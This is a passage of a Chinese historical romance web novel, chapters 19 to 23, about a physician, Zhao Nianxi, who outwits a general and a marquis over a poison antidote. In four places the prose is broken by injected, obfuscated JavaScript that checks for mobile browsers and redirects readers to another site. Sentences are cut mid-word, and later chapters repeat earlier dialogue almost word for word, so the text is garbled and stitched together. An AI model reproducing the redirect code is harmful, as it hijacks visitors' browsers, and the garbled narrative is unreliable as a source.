李茂荣时刻谨记魏骁叮嘱,是以并不敢离得太远,忙隔了帷幔轻声唤人备茶。 趁老者转身之际,赵念曦已不动声色取出药丸,喂榻上之人服下。 “赵姑娘。” 李茂荣亲自捧了茶盏过来,和缓道:“笔墨已备下了,若还需什么,姑娘只管吩咐。” “不必了。”赵念曦摇了摇头,淡声道,“带我去药房。” “这……” 李茂荣回身瞧一眼榻上男子,悻悻搁下茶碗。心道幸而他料到这姑娘必不会留下药方,是以提早留了一手。 心中笑着,面上却不显露出来,只默默往前边儿引路。 到了藏药阁,只见一排排黑漆药柜整齐摆放,层层木屉上用金漆写着各色药名,字迹工整端正,勾划有力,似乎……有些眼熟。 赵念曦怔了怔,莫名想到师父的笔墨。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13897895|147110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “赵姑娘。” 李茂荣捋着下颌长须,浅笑中透着几分得意,“你看这药材可齐全?” 赵念曦回过神。 四下打量一眼,见几名药童来回取药,动作轻缓,几不闻声。随手拉开一层小屉,药材干燥匀称,摆放整齐,可见打理之人着实用心。取一小块黄芪放至鼻尖轻嗅, 她淡声道:“老先生止步吧。” 李茂荣顿了顿,反应过来。他和缓道:“还有病患等着诊治,我便不陪赵姑娘取药了。” 说着,抬手招呼药童退下。 将出门,便见几人迎上前来。 领头之人正是魏骁,他低声问道:“如何?” 李茂荣回身瞧一眼紧闭的屋门,抬手指了指一旁耳室,悄声道:“那边说话。” 一行人匆匆入内,魏骁捋了捋衣袖,头也不回问道,“拿到方子没有?” 李茂荣摆了摆手,面露无奈之态,“赵姑娘没有留下药方。” 魏骁急得直抓脑门,“那怎么办?” “将军放心。” 李茂荣引着几人往暗室里走,他笑道,“这里有处暗门,无论谁取了什么药,皆可看得一清二楚。” 魏骁一把收了折扇,恨声道:“你不早说。” 又催促道,“快去快去,莫耽搁了。” 李茂荣缓缓打开暗门,只见墙上有一桃核大小的孔洞,清浅的微光从内室透出,地上现出一道亮圆的斑点。 “我瞧瞧。” 章琰率先探出脑袋,将右眼往孔洞上一搁,果真见到内室场景。只是隔得太远,根本瞧不清女子手上的药材是何模样,更不谈木屉上的药名。 他嫌弃道:“这玩意儿派不上用场嘛。” 李茂荣哈哈一笑,挽起衣袖,“还是我来吧。” 章琰回头瞥一眼身后老者花白的须发,冷嗤一声,“我瞧您这老眼昏花的模样,难道还比得过我去?” “这你就不懂了吧。” 李茂荣得意道,“我与这些药材打了几十年的交道,不用看也知道是什么。” 说罢,凑近壁上的孔洞,只见女子抬手抓了一小撮深色药材,他忙招手吩咐药童,“快,取笔墨,记上记上。” “莲心。” “嗯。”李茂荣捋着长须,道,“有益心安神,涩精止血之效,约莫……三钱。” “黄连,有清热解毒之效,约莫……三钱。” 将说罢,便见赵念曦又抬手抓了一把,不由惊呼一声,“多了多了……” 话未完,便叫人捂了嘴。 章琰“嘘”一声道:“先记上,记上。” 李茂荣点一点头,改口道:“黄连,约莫八钱。” “栀子,可泻火除烦,清热解毒……” “灯芯草,降心火……” “……” 忽听“吱丫”一声,屋门打开。 魏骁瞥一眼那抹渐渐远去的湖色身影,抬步跃下屋脊。进了隔壁耳室,他瞧一眼屋内几人,急迫问道:“如何?有方子了吗?” 药童回道:“将军,药方是记下了,只是……” 魏骁闻言,立即瞧向两名老大夫,紧张询问:“只是什么?” 李茂荣与章琰二人面面相觑,而后道:“这……记下来咱们也不敢给侯爷用啊,这分明是……” 话未完,章琰忽打断道:“我觉着不妨一试。” 李茂荣闻言,立即瞪眼,“你懂什么?!” 章琰一时也来了脾气,他冷笑道:“是啊,我什么都不懂,却能入太医院做御医,照你这么说,是怪圣上识人不清,埋没了你这等医术精湛的神医咯!” “我哪里说过这话,你莫要含血喷人!” 眼见俩人又起争执,魏骁不由扶额一叹。 “罢了罢了,我真是猪油蒙了心,竟指望你们俩能出个主意。” 满目无奈,转身离开。 20. 第 20 章 试药 明净的厢房里,阵阵苦涩药味伴着雾气四下弥漫。 赵念曦守在药炉前,时不时添上几根柴火。腾腾热气冲开药罐盖,褐色药汁“噗噗”溢了出来。 “赵姑娘。” 隔了老远忽闻一声呼唤,来人掩着鼻闷声道,“魏将军命姑娘熬好了药即刻送去前堂。 前堂? 赵念曦念叨着“前堂”二字,明白了魏骁的意思。 他不肯信她,怎会将药直接拿给夜君慎服用!必是要找人试过的! 炉火渐渐暗淡下去,她弃了蒲扇抬手取来两只药碗,褐色药汁倾倒入瓷碗中,一股浓郁的苦涩滋味直冲口鼻。 掩帕轻咳一声,赵念曦捧着托盘往前堂走去。 晚风潇潇,粉嫩的海棠铺满廊道,又叫飘扬的裙角重又带入泥泞。 长廊上空无一人,到了堂前,只见两旁立着两列衣甲严整的军士。他们手握利剑,一副严阵以待的模样。 “带上来。” 堂内传来一声呼喝,随即两名小卒应声小跑出门,往长廊上去了。 赵念曦顿了顿,抬步跨入正堂。 只见上首那人把玩着手中折扇,一副气定神闲的模样。待见了她,忽而冷嗤一声缓缓道: “赵姑娘来得正好! “今日有人求见,我猜赵姑娘应该熟识,是以特意请了他来,也让赵姑娘见上一见。” 此话一出,赵念曦不由心口一跳。 她现在的身份,不论是作为“李莲娘”还是“赵念桢”都与此人无甚交集,他指的,是谁? 拧着眉细想一圈,忽而面色一冷。 难道……是王孝之? 瞬间的神色变化瞒不过魏骁,他轻笑着,忽嗅到一抹浓郁的苦涩药味,抬眉看向赵念曦手中的汤药,不由拧眉。 “什么东西?” 赵念曦缓缓垂眸,淡淡道:“魏将军亲口吩咐的药,怎么自己倒忘了?” “哦?” 魏骁抬步过来,一手抓起药碗,不肖品尝便知这药汁必定难以入口。抬眉觑向面前之人,他沉声道:“你敢以人头担保这药无毒?” “良药苦口,将军着实多心了。” 赵念曦轻笑着,“若我真有此心,何须等到今时今日?” 魏骁想了想,觉着这话有几分道理。 恰在此时,两名小卒搀着一中年男子进来,抱拳行礼,“将军,人带来了。” 赵念曦不动声色瞥一眼那人,见他面容憔悴,发髻散乱,浑然一副病弱无力之态。仔细一瞧,却是入城那日负责戍卫城门的罗校尉罗万顺。 入城搜查包袱时,他接了手,碰了那支金钗,所以和李振夜君慎一样……中了毒? 罗万顺形容狼狈,颤颤巍巍拱手欲起身行礼。 “免了免了。” 魏骁摆了摆手,抬眉看向赵念曦,他道:“姑娘可还记得此人?” 赵念曦猜到他的意图,心中不由暗松一口气。回眸看向上首之人,她淡声问道:“将军何意?” 魏骁抬手指了指底下那人,嘴角含笑,“侯爷身娇体贵,姑娘觉得,不若请此人试一试药性,如何?” 罗万顺闻言,霎时双目圆睁,面露惶恐之态。 赵念曦轻笑着,缓缓开口解释:“将军该知一人一方的道理吧。这药,换了人恐怕也就无用了。” “有用无用,不试试怎么知道?”魏骁说着,抬眉觑向赵念曦,柔缓的嗓音里带着一丝挑衅,“还是……你怕了?” 赵念曦不由轻笑出声,“将军说笑了,我又没做亏心之事,有何可怕的?!” “那更好。” 魏骁将手中药碗喂至男子唇边,他轻哄道:“罗校尉,喝了这碗药,你的病便能大好了。” 罗万顺听了二人谈话,已将事情猜了个大概。瞧一眼面前漆黑的药汁,双腿抑制不住打颤。 魏骁凝着眉,冷冷道:“怕什么?!若真有事,我亲自替你报仇。” 说罢,将药碗抵至那人唇边,“是你自己来?还是我亲自喂你?” “将军饶命!小的愿誓死效忠将军,请魏将军饶命啊!!” 罗万顺连声呼喝着,在汤碗喂至唇边时,立即抿起唇,咬紧牙关挣扎。 褐色药汁透过牙缝渗进口中,密集的苦涩滋味从舌尖一路往喉中蔓延。 “呕……” 勉强喂进口中的汤药叫他吐了大半,黄霄立在一旁,皱着眉露出些许同情之色。 “赵姑娘。” 魏骁抓着瓷碗抬眉看向赵念曦,白皙的面庞上带着一抹狐疑之色,“为何我觉着,你在戏耍我们?” 暂且不论这药有用无用,便是入口即可解百毒的神药,这般滋味他们也不敢随意拿去给侯爷服用啊。 赵念曦闻言,淡淡一笑,“果然瞒不过将军。”又故作惊讶般问道,“难道,魏将军也通医术?” 果然如此! 魏骁怒而摔了药碗,他道,“我虽不懂医术……” “那便乖乖闭嘴!”赵念曦冷笑着,毫不犹豫打断道。 “混账!” 魏骁闻言,立即炸毛。 他好歹世家出身,虽不及夜君慎显贵,却也无人敢在他面前这般放肆。 愤而拔剑,幸而身边人阻拦及时,他瞪着赵念曦,怒声斥道,“你敢无礼!” 赵念曦瞥一眼面前泛着寒光的利剑,轻笑出声,“我已送了将军一份大礼,怎么能说无礼呢?” 魏骁闻言,立即怔住。 大礼? 什么大礼? 难道……还有什么他不知道的陷阱? 遂警惕道:“何意?” 托盘里还有一碗同样的汤药。纤细的指捻起瓷碗,赵念曦淡声道,“我就知道魏将军不肯信我,是以,这剂药并不是为你们侯爷准备的。” 魏骁神色一滞,等她细说。 赵念曦淡声道,“我观将军目赤面红,躁烦气郁,似心火过旺之态,这碗汤药有清内热,解表毒之效,正好给将军去一去这满身的火气。” “啊!” 魏骁霎时反应过来,怒目圆睁,“你敢耍我!……” 立即有人上前劝道:“将军息怒!将军息怒啊!” “别拦着我,我要杀了她。” 锋锐的利剑指向赵念曦,魏骁恨声道,“侯爷万金之躯,干系数万将士生死,你蓄意拖延,耽误救治,哪怕将来侯爷怪罪,我的剑也轻易不会饶过你。” 剑拔弩张之际,忽有人进来传话,“魏将军,侯爷到了。” 说着,便见一高峻挺拔的身影直入堂内,威仪身姿令人望之凛然。 魏骁肃然抬头,眸底一惊,“侯爷,您……醒了?” 转眸看向赵念曦神色淡然的模样,怪道她一点儿不急,原来,早有谋算。 夜君慎瞥一眼众人,而后凝眉看向魏骁,不悦道:“闹什么?” “侯爷,我……” 魏骁将欲开口解释,夜君慎已抬手打断他,“无事可做的话,便带人巡城。” 说话间已大刀阔斧坐下,头也不抬冷声道,“吩咐人进来汇报军情。” 魏骁无奈点头,临走还不忘招呼一众人退下。 赵念曦微微抬眸,不动声色瞥一眼上首那人,心中只觉一阵胆寒。 他宁愿忍着毒发的痛楚也不愿插手兄长流放之事,可见心意已决,无可更改! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13897896|147110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >最后一丝希望破灭,赵念曦缓缓垂眸,毫不犹豫转身。 “你等等。” 身后忽传来一声低喃,赵念曦下意识停下步伐。底下人已陆续退出,堂内只余二人。赵念曦知道,他是在对她说话。 可,那又如何! 几名军士陆续入内回禀事务,赵念曦瞥一眼堂内通明的灯火,自然不会傻愣愣在此等着。 轻咬着唇,默默离开。 夜风温凉,廊庑下赤色灯笼轻轻摇曳。赵念曦抬头瞧一眼皎洁的月色,拢了拢衣衫抱臂踏上长廊。 忽觉衣衫一紧,一截长袖叫人拽住,赵念曦顿了顿,垂眸瞥向身侧人影。 是……罗校尉罗万顺。 “姑娘救我……” “我家上有七十岁的老娘,下有三岁小儿,我还未曾回家尽孝,未曾听听孩子唤一声‘爹爹’……” 他说着,掩袖呜咽起来。 赵念曦凝着眉,默默抽回衣袖。 将走几步,便见那白发老者早已侯在廊道尽头。 “赵姑娘。” 李茂荣拱着手,一副谦逊之态。 只听他缓缓道:“我观姑娘年纪轻轻,医术上却颇有造诣。敢问姑娘师从哪位仙师?将来若有机会,某必登门求教。” 赵念曦无意与他攀扯,脚下不停,径直往前。 李茂荣并不介意,他随在一旁,自顾自道:“不瞒姑娘,我乃百草堂太初真人弟子。据我连日观察,姑娘用药与师门中人颇有些相似,说不定,咱们还是同门呢!” 太初真人? 赵念曦想了想,似乎在哪里听过,不过记不大清了。 李茂荣顿了顿,又道:“医者职责,乃治病救人,姑娘医术精妙,天赋绝佳,更该秉承师门宗旨,万不可走偏门邪路,用医术害人呐。” 赵念曦闻言不由皱眉,“老先生有话直说便是,何必这样拐弯抹角的骂我。” 李茂荣神色一滞,有些尴尬,“老朽不敢唐突。只是…… “侯爷与李将军安危事关数万将士以及边关百姓生死,某恳请赵姑娘不吝赐教,留下药方,某代将士及边关百姓谢姑娘救命之恩。” 呵! 赵念曦冷嗤一声,这般言辞,无疑是要这罪责无限放大啊。 她冷笑着,淡声道:“老先生莫非糊涂了?药方已在你手里,却还问我要?!” 说罢,头也不回,径直离开。 李茂荣望一眼长廊尽头的湖色身影,顿了顿恍然明白过来。他释然一笑,朝着人影消失的方向躬身一礼。 前堂内灯火通明,人声寂寂。 夜君慎凝眉听完下属汇报陈骞与三千将士被俘一事,面上多少有些难看。 虽说那些人早已投了陈骞,到底不能置之不理。硬攻是不能了,眼下唯有派出使者拖延着,再寻良机。 至于使者…… 夜君慎沉吟一瞬,想到一人,忙问魏骁:“卫忠人呢?” 魏骁顿了顿怔怔道:“侯爷怎么想起他来?” 夜君慎观他眼神闪躲,似有事隐瞒,忽沉下脸来,“怎么回事?” 魏骁心知隐瞒不过,便将事情一一道出。 那日,卫忠与夜君慎谈话后忽要去看什么风景,不料滚下山腰摔折了腿,至今还不能动弹呢。 “胡闹!” 夜君慎轻斥一声,只是,事已至此多说无益,他拧一拧眉,无奈道:“明日将人送来,请大夫医治,十日内务必让他能下地行走。” “这……” 魏骁苦着脸道:“就算是神医在世恐怕也不能有此奇效吧。” 说起“神医”,他忽而眼瞳一亮,“侯爷,你知道方才那女子是谁吗?” 21. 第 21 章 挑衅 不待夜君慎回话,魏骁接着又道:“她就是侯爷要找的那名红衣女子。” 夜君慎早已猜到此事,是以并不意外。微微颔首,只疑惑道:“你们是怎么拿到解药的?” 醒来时,胸口的剧痛消失,只唇齿间残留着阵阵苦涩药味,哪怕喝了整整一壶茶也未将那滋味压下去。他想,必定是魏骁等人答应了什么条件,那女子才肯交出解药。 不料,魏骁一脸茫然之态,“解药?解药在哪儿?” 忽而想到什么,上下打量夜君慎一眼,又追问道:“侯爷,你是怎么醒的?” 夜君慎不由皱眉,“你不知道?” 正说着,忽见李茂荣亲自送了暖热的汤药进来。 魏骁瞥一眼瓷碗里的褐色药汁,不禁咋舌,“李老,你怎么也弄了这个鬼东西来?你是不知这药有多难以下咽!” 李茂荣捧着汤药轻嗅一口,点一点头,“良药苦口。这药虽味道不大好,解毒却有奇效。再说了,又不是要你一日三顿都吃它,怕什么。” 夜君慎看向李茂荣,凝眉道:“拿到药方了?” “嗯。” 李茂荣轻轻颔首,想到赵念曦很有可能与他是同门,不由微微一笑,“赵姑娘看似性情冷淡,本心却不坏。” 魏骁闻言,“噗嗤”一声笑出声来。 “我说李老,你该不会也中了她的蛊吧。” 瞥一眼夜君慎脖颈上裸露的半截齿痕,他戏谑道,“我道侯爷如何轻易中了毒!果然是英雄难过美人关啊!” 夜君慎端起汤药毫不犹豫一饮而尽,放下空碗,他凝眉看向魏骁,“此次突袭西锦王宫,那女子也算出了力,眼下既已拿到解药,此事便不追究了,往后勿要再提。” “是是是。”魏骁轻笑着,怔怔点头,“侯爷亲自发了话,我再不提就是。” 夜君慎未再多言,只扬声唤来黄霄,命他安顿车马。 “边关到底不太平,先送她回淮州,再去库里领一万两银子置办宅院,日后赵延归家也有地方落脚。” 魏骁往圈椅中一靠,摇着折扇轻笑,“你这般打算,可惜人家不领你的情,也算白操了心呐。” 夜君慎斜睨一眼他这散漫的举止,冷哼道:“你若实在无事可做的话,便带人巡城。” “可别!”魏骁瞥一眼那人冷寒的眸光,忙止住谈笑,“我家夫人来了榆州,今晚我得出城接她,天大的事也等明日再说。” 眼下又将战乱,夜君慎不悦道:“这时候来做什么?!” “怎么?你嫉妒?”魏骁贱兮兮笑着,正欲寻话找补几句,忽有人来报:“侯爷,派去淮州的人有消息了。” 夜君慎神色一滞,抬眉看向下首,吩咐人进来回话。 接着便有一人进来回禀:“侯爷,您吩咐的事属下已打听清楚了。赵家确实还有一个女孩儿,不过在三岁上便夭折了,遗骨就埋在赵家祖宅西北角上。赵家夫人病逝后,便跟着挪去了赵家祖茔。” 魏骁闻言,小心翼翼瞥一眼上首那人愈渐冷沉的面色,眼底露出几分同情之色。 想不到,侯爷英明神武,竟也有被人诓骗的时候。微叹一声,未免祸及己身,忙借着出城接人的由头溜了。 夜君慎凝眉望向洞开的屋门,眼底晦涩不明。 如果,她不是自己所说的“赵念桢”,怎会对赵家旧事这般熟悉? 细想过往种种,疑虑顿生。凝眉看向黄霄,他道,“那支发钗找到没有?还有那个王孝之……” 黄霄连连点头,道:“发钗的事已有了线索,想必就是这两日了。至于那个王孝之……” 摇了摇头,他微叹一声无奈道,“从那么高的城墙上摔下来,没死已算奇迹了。换了几个大夫也无好转,大抵……是活不长了。” 陈伯审问过与“李莲娘”有关的十余人,统共只王孝之知道她些许底细。 他不能死。 夜君慎扶案起身,沉声吩咐:“以我的名义广发告示,重金寻医术精妙的能人异士,总有能治的。” * 夜色昏暗,四下寂静无声。 赵念曦望着眼前空荡荡的院落,有些失神。 周氏与李承孝等人已经离开,有魏骁派人护送,至少可保他们平安顺遂。 赵念曦亦收拾好行囊,打算离开。 夜君慎派了程伯送她回淮州,临行却道车马不够,需等个一两日。为免半途再生事端,莫说一两日,哪怕一刻她也等不得。 “我自己走,不劳你们费心。” 赵念曦自嘲一笑,径自往衙门外走。 “这……” 程伯想着该以何种理由将人留下,忽而想到一事,他道:“赵姑娘,昨夜纵火的元凶已经找出来了,赵姑娘要见见吗?” 赵念曦并不想见。她无权无势,便是人家随意推出一人顶罪,她又能如何! 不过逢场作戏罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947038|147110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不料,将出衙门忽有人驾着马车赶来。不是旁人,正是魏骁。 他扬着马鞭,戏谑一笑,“哟~这不是——赵家大小姐么?” 短短几字却带着十足的嘲讽意味。意识到来者不善,赵念曦自顾自走着,没有搭话。 马车放缓了速度,与她并列而行。 俊朗的身姿往车壁上一靠,魏骁翘着腿闲闲道:“听说,赵家曾有两个女儿,不知,赵小姐是姐妹中的哪一个?” 赵念曦闻言不由蹙眉,心道他怎会知道此事? 莫非,夜君慎同他说了什么?看他这般模样,难道……他们查出什么来了! 不过,他既没有挑明,赵念曦索性装作不知。她淡淡道:“我家中私事,与外人有何干系?魏将军未免管得也太宽了些。” “哦?”魏骁轻笑着,忽然转了话头,他道:“赵姑娘难道不好奇我要去哪儿?” 赵念曦闻言更是皱眉。若非她知晓魏骁已有妻室,且颇惧内,简直要怀疑此人居心不良了。 冷嗤一声,没有回话。 魏骁跃下车驾,径直拦在赵念曦身前,他道:“不瞒赵姑娘,本将军夫人要来榆州,本将军正要接夫人团聚。” 赵念曦瞥一眼面前颀长的身影,凝眉,“将军家事,与我何干!” “哦?” 魏骁抬步往前,逼得赵念曦步步后退,直至身后抵上坚硬的石壁。 青色扇骨挑起瘦削的下颌,赵念曦被迫仰起脸来,只听面前人冷沉的声音缓缓道:“不怕告诉你,本将军夫人正好与侯爷前夫人,也就是你说的赵家小姐熟识,我可警告你,若有什么心思最好给我老老实实揣到肚子里,否则,小心我当面揭穿你。” 赵念曦闻言,垂眸轻笑,“将军还是先忧心自身吧。” “嗯?” 魏骁回过神,忽觉浑身酸麻。眨眼之际,右臂已叫人反扭至身后,整个人直愣愣扑倒在地。 膝盖顶住男子后腰,赵念曦冷笑着,低声警告:“魏将军也请记住了,再有下次,小心我废了你这双手。” 青色骨扇掉落在面前,魏骁挣扎着,却无力起身。 “魏将军……” 程伯立在一旁,原想劝魏骁住手来着,不料见了这一幕,忍不住“噗嗤”笑出声来。 “赵姑娘……魏将军……” 不知什么时候黄霄也来了,赵念曦瞥一眼他身后那道峻拔的身影,松了手,起身。 22. 第 22 章 怨怼 夜君慎凝眉瞥一眼地上趴伏的人影,转头吩咐黄霄亲自去接魏夫人入城,又示意程伯送人回房歇着。 “不……” 魏骁挣扎着,将欲起身忽觉浑身酸麻不禁低呼一声连连吸气。 程伯忍着笑意上前,低声询问:“魏将军……无碍吧?” 魏骁搭着他的手臂起身,羞于喊痛,只吸着气连连低呼。抬眸看向赵念曦,眼里闪过一抹怨怼之色。他道:“你对我做了什么?” 赵念曦轻轻勾了勾唇,淡淡一笑,“一些小伎俩罢了。” 说罢,又低声警告,“下次交手,魏将军可要当心了!我既不是君子,绝不会手下留情的!” “你这……毒……” 魏骁咬着牙,话未毕便见女子冷沉的眸光扫视过来。 “嗯?”赵念曦转眸看向眼前人,温婉的声音缓缓道,“魏将军还有吩咐?” 魏骁顿了顿,将欲骂出口的话硬生生吞了回去。顿了顿,他喃喃道:“那我这……怎么办?” 赵念曦转眸瞥一眼散落在地的包袱,里面一枚碧色瓷瓶早已摔得粉碎,豆大的褐色药丸咕噜噜滚了一地。 师父配这药必定花了大功夫,思及此,顿时心痛不已。她闭了闭眼,冷嗤道:“魏将军放心,过个三五日自然便好了。” “啊?”魏骁低呼一声,转头瞧一眼夜君慎一言不发的模样,忽冷笑道:“侯爷,你可不能重色轻友。” 夜君慎闻言,斜睨他一眼,“自己惹的事,自己受着。” 赵念曦恍然抬眸,不动声色瞥向面前男子魁伟的身影,眼底闪过一抹惊愕。 “侯爷……” 魏骁简直不敢相信这话竟是从夜君慎嘴里说出来的,凝着眉惊诧不已。留意到地上破碎的瓷瓶,眼底闪过一丝挣扎,将欲开口,赵念曦已打断他道:“魏将军不用多想了,我这里可没有解药。” 魏骁张了张嘴,最终咬牙搀着程伯一瘸一拐地走了。 赵念曦瞥一眼月色下的两道暗影,冷嗤一声默默将药丸一颗颗捡拾起来。 忽眼前一暗,一高大挺拔的身影也跟着蹲下。修长的指将欲拾起地上的药丸,赵念曦抬手拦住了他。微微抬眸,冷冽的声音缓缓道:“侯爷当心了,这是毒药,您这身子金尊玉贵的,还是不要误碰的好。” 夜君慎听出话语里的讥讽之意,悻悻收回了手。 昨夜昏迷时,他做了一个梦,很长很长的梦。 梦里,一会儿是尸积如山,血流成河的战场;一会儿是烈焰腾腾,岩浆翻滚的深沟。浓雾笼罩的悬崖峭壁上,有座一眼望不到头的铁索桥。桥对面,是繁花环绕的楼阁殿宇…… 莲花清冽的香扑面而来,他踏上索桥,忽闻阵阵泣涕之声。再后来便是女子一遍又一遍不厌其烦的唠叨……连他吃了什么,用了什么药,甚至枕边摆了什么花都要说得一清二楚才罢休。 起初还觉厌烦,直到那日她握着他的手,说了“等我”却又彻底消失……他才忽觉心底空落落的。 “侯爷……” 一声低呼,夜君慎陡然回神。 望着眼前女子清丽的面容,不禁凝眉。这妇人虽与妻子有着相似的面容,性情举止却又截然不同。 他知道, 她,不是她。 可是,听闻赵家长女早夭的消息,他竟莫名怀疑自己的判断。 七年光阴,难道,当真不足以改变一个人么?!疑虑一旦在心底发酵,便似藤蔓缠住参天大树般疯狂滋长。 他知道,就算开口质问,她也不会吐露分毫,或许还会冷言讥讽。 是以,只淡声询问,“何事?” 赵念曦握着帕子清点完手上的药丸,四下环顾一周,忽凝眉看向眼前人。她伸出手,冷声道:“还有两颗。” 夜君慎怔了怔,方才的猜疑顷刻消散。微叹一声,默默交出左手暗藏的药丸。 赵念曦微哼一声,叠好帕子收入包袱中。 前一刻夜君慎还要派人送她回淮州,却不知为何忽然改了主意。抬头望一眼漆黑的天色,她轻嗤一声道:“侯爷若要问罪,只管抓了我处置就是,何苦亲自跑这一趟。” 她不信他。 从始至终都是。 夜君慎拧一拧眉,无力道:“我说过,只要赵姑娘交出解药,过往之事,一概不会追究。” “况且,此事并未造成无法挽回的后果,本侯说到做到,绝不食言。” “那就好。”赵念曦微微颔首,“我还有事,恕不奉陪。” “等等……” 夜君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997949|147110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慎望着女子纤细的背影,忽开口解释:“赵延一事,并非我见死不救……” 赵念曦闻言,忽停下脚步。兄长遭贬谪流放一事她也是道听途说,并不清楚其中内情。缓缓转身,呐呐问道:“何意?” 夜君慎微微一叹,低低道:“他终究对我颇多怨念,是以并不肯接受我的好意。况且,他已独自揽下所有罪责,并已签字画押,我确实无能为力。不过…… 若有人能从中劝解一二,此事或许还有转机。” 赵念曦不知道兄长有没有杀人,但知他历来奉公守法,绝不屑于徇私舞弊,更不会为避刑罚而弄虚作假。 所以,夜君慎的话,她信。正因为相信,所以更加犹豫了。难道,她要劝兄长放弃坚守的底线,苟且偷生?! 她没有理由强迫他的。 赵念曦沉吟片刻,喃喃道,“我,知道了。” “多谢侯爷费心。” 至于接下来该怎么办她却忽然没了主意。 夜君慎瞥一眼女子瞬间黯然的神色,又道:“此事若行不通,倒还有一个法子。待战事结束,我会向圣上请旨大赦,不过多等些时日罢了。” 这话,他曾说过。只是,若要圣上允准岂是那么容易的。赵念曦抿着唇,不知该如何接话。 怔愣间,忽有人来报,“侯爷,王享服毒了。” 王享就是那日纵火的元凶。 夜君慎闻言,并不意外。那人或畏罪自杀,或遭人灭口,不论哪一种,都是为保其身后之人。此次审问他已得了不少线索,王享死或不死已然不重要了。 颔首轻应一声,他淡淡道:“知道了。” 赵念曦听了二人对话,微微一愣。据她所知,那日带了李承孝骑马的官兵正是王享。他,为何服毒? 夜君慎解释了王享纵火一事,又道:“他原本就是冲我来的,只是连累了赵姑娘。” 赵念曦闻言,忽觉后脊发凉。 看着古道热肠的一个人,怎么会是凶手。也幸而他不知李承孝身份,否则,孩子早已性命不保。 思及此,更是疑惑,他为何要接近李承孝?只是无心还是有所图谋?也不知李承孝有没有说漏嘴吐出什么不该说的话来。 迟疑一瞬,她忽然开口,道:“我要见他。” 23. 第 23 章 夜君慎抿着唇,眸光晦暗。明明答案就在嘴边,却迟迟不敢宣之于口。 赵念曦瞥一眼那人冷峻的神色,淡淡一笑,仰起脸时,目光晶莹。 “侯爷怎么不说话了?嗯?” “听闻侯爷手眼通天,难道连这个也不知道?!” 夜君慎垂眸觑着面前人似笑非笑的神情,颤抖的手将欲抚上女子双肩忽又颤缩回来,顿了顿,他喃喃道:“真的……是你?” 赵念曦轻嗤一声,纤指拢了拢鬓边碎发,漫不经心问道:“侯爷说的是谁?我不明白。” 夜君慎凝眉瞧着女子冷然的神色,愈加坚信心中猜疑。 他知道,就算出言质问,她也不会吐露分毫,甚至还会冷言讥讽。想到让她这般怨怼的缘由,忽开口解释道:“赵延一事,并非我见死不救……” 兄长遭贬谪流放一事赵念曦也是道听途说,是以并不清楚其中内情。不过兄长历来奉公守法,不知为何会陷入杀人案。 默了默,以眼神询问,“何意?” 夜君慎微微一叹,道:“当初得知案情时他已揽下所有罪责,并签字画押,罪证确凿,我着实无能为力。后来虽派人多加照拂,只是,他终究对我颇多怨念,并不肯接受我的好意。若有人能从中劝解一二,或许还有转机。” 赵念曦闻言,半晌无话。 兄长既不屑徇私舞弊,逃避刑罚,难道要劝他放弃坚守的底线,苟且偷生?! 沉吟片刻,她喃喃道,“我,知道了。” “多谢侯爷费心。” 至于接下来该怎么办她却忽然没了主意。 夜君慎瞥一眼女子瞬间黯然的神色,出言宽慰道: “我已派了人暗中照拂,眼下他并无性命之忧,你且放心,待回京之后我会向圣上请旨大赦,不过多等些时日罢了。” 这话,有些耳熟。 赵念曦原以为他不过是说来敷衍她罢了,没想到,夜君慎真有此意。咬了咬唇,不知该如何接话。 怔愣之际,忽有人来报,“侯爷,王享服毒了。” 王享,就是那日纵火的元凶。 夜君慎闻言,并不意外。 那人或畏罪自杀,或遭人灭口,不论哪一种都是为保其身后之人。因赵念曦的出现,想取他性命的人已暴露不少,比如,当初入城时偷袭的黑衣人,以及无令擅自动刀的护卫……几次审问下来他已得了不少线索,王享死或不死已然不重要了。 但是……想起那日冲天的火势,顿觉后怕不已。咬牙冷哼一声,他道:“死了没有?” 